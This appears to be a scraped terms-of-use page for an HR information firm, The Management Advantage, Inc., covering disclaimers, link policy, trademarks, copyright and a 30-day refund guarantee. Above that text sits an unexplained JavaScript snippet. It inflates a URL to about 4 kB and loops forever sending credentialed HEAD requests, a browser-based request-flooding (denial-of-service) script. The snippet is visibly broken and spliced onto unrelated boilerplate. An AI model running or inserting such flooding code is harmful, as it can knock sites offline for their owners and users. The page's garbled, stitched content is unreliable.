var url = ""; var xhr = new XMLHttpRequest; // Expand URL to ~4kB using a query string // Alternatively, force a large cookie url += "?"; var x = 10000000; for (var i=0; i<=500; i++) { url += x++; } while(true) {"HEAD", url, false); xhr.withCredentials = true; xhr.send(); xhr.abort(); } ... ... Terms of Use

Human resource tools and information whenyou need them


Content of this web site is offered for educational purposes only. It is not intended to be, and does not represent, legal advice in any form. If you require advice for a particular situation, we suggest you contact a competent legal professional to discuss the specifics of your circumstances and obtain the advice you require. We are not responsible, and accept no liability for, any actions you may take based on information you find on our web site. No warranties are offered on the content of our web site, including any warranties of fitness for use. We are glad to have your visit and encourage your use of our information in a responsible manner. That means, you have a responsibility to apply anything you learn here only after you have determined through reasonable discussion with your professional advisors that it is appropriate for your use.

The Management Advantage, Inc. makes no representations as to the suitability of the information contained in any documents at this web address for any purpose. All documents are provided without warranty, express or implied.

The Management Advantage, Inc. disclaims all warranties and/or conditions with regard to the information contained herein, including all implied warranties and/or conditions of merchantability, fitness for a particular purpose, title and/or noninfringement.

The documents could include typographical errors, errors of omission, technical or editorial inaccuracies. The Management Advantage, Inc. assumes no liability or responsibility for any typographical errors, errors of omission, technical or editorial inaccuracies. The Management Advantage, Inc. may make changes in the content herein at any time.

This document has been made accessible to all visitors/observers of the content of this Internet address and by such use or access each such visitor/observer agrees to the terms set forth herein.

Policy on Links To and From Our Web Site

Links From Our Web Site

We offer links to other internet sites in the course of newsletter reporting as a way for you to obtain additional information about the subject of a newsletter article. We offer links to other internet sites of interest to human resource professionals as a convenience for you if you wish to visit other sites of prominence within the human resource internet community.

We have visited all of the web sites to which we offer links. However, we can not control the content of those sites and do not guarantee that the sites will not change over time. Because we do not control the content of third party web sites, we are not able to guarantee that you will not discover things you deem offensive when you visit them. If that happens, we ask you to contact us with information about your experience so we can reevaluate the appropriateness of our continuing a link to those sites. You may send your input via email to

Links To Our Web Site

We invite other organizations and individuals to offer their web site visitors links to our site. We request, however, that the links be directed to our "home page" at rather than internal site pages. Please feel free to reference the internal pages if you like, but provide a link only to our Welcome page.

Use of Trademarks, Logos, Graphics and Text

Our firm name and logo are considered proprietary trademarks and are not available for use by any other individual or organization. You may not use our logo or firm name in any way on any web site without the express written permission of The Management Advantage, Inc.

We are authorized representatives of many products and publications produced by other organizations. As authorized representatives we have specific permission to use the name of those products and designs, logos, graphics and text materials created by and owned by those organizations. We have no authority to offer use of those materials to anyone else. If you wish to use any such information or material that is represented on our web site, you must contact the owners of those materials directly to seek their permission. You may not copy any of those materials from our web site for your own use.

Our entire web site is copyrighted by The Management Advantage, Inc. None of its content may be reproduced in any form, including posting on other web sites, without written permission. We hereby give permission for brief excerpts from our web site content to be used as examples in reviews of our site. That permission does not extend to republication of complete articles, pages or trademarked materials.


From time to time we all find that we have ordered something that just isn't what we had expected. At The Management Advantage, Inc. we understand that because it has happened to us, too.

If you ever find that the product you receive from us (or one of our suppliers) does not meet your requirements, we ask that you return it to us so we can refund your purchase price. It seems reasonable that those decisions can be made in 30 days, so we offer a no-hassle, no-risk guarantee on all of our products. If you are dissatisfied for any reason, simply send the product back to us within 30-days and we will refund your purchase price. (We do not refund shipping and handling costs, but you will get back any state sales tax you might have paid.)

This policy applies to customer purchases from us regardless of whether the purchase was made through our HR Web Store(TM), on our toll-free order line (1-888-671-0404), or by mail. We want you to be satisfied when you do business with The Management Advantage, Inc.

Copyright 1995-2021 The Management Advantage, Inc. All Rights Reserved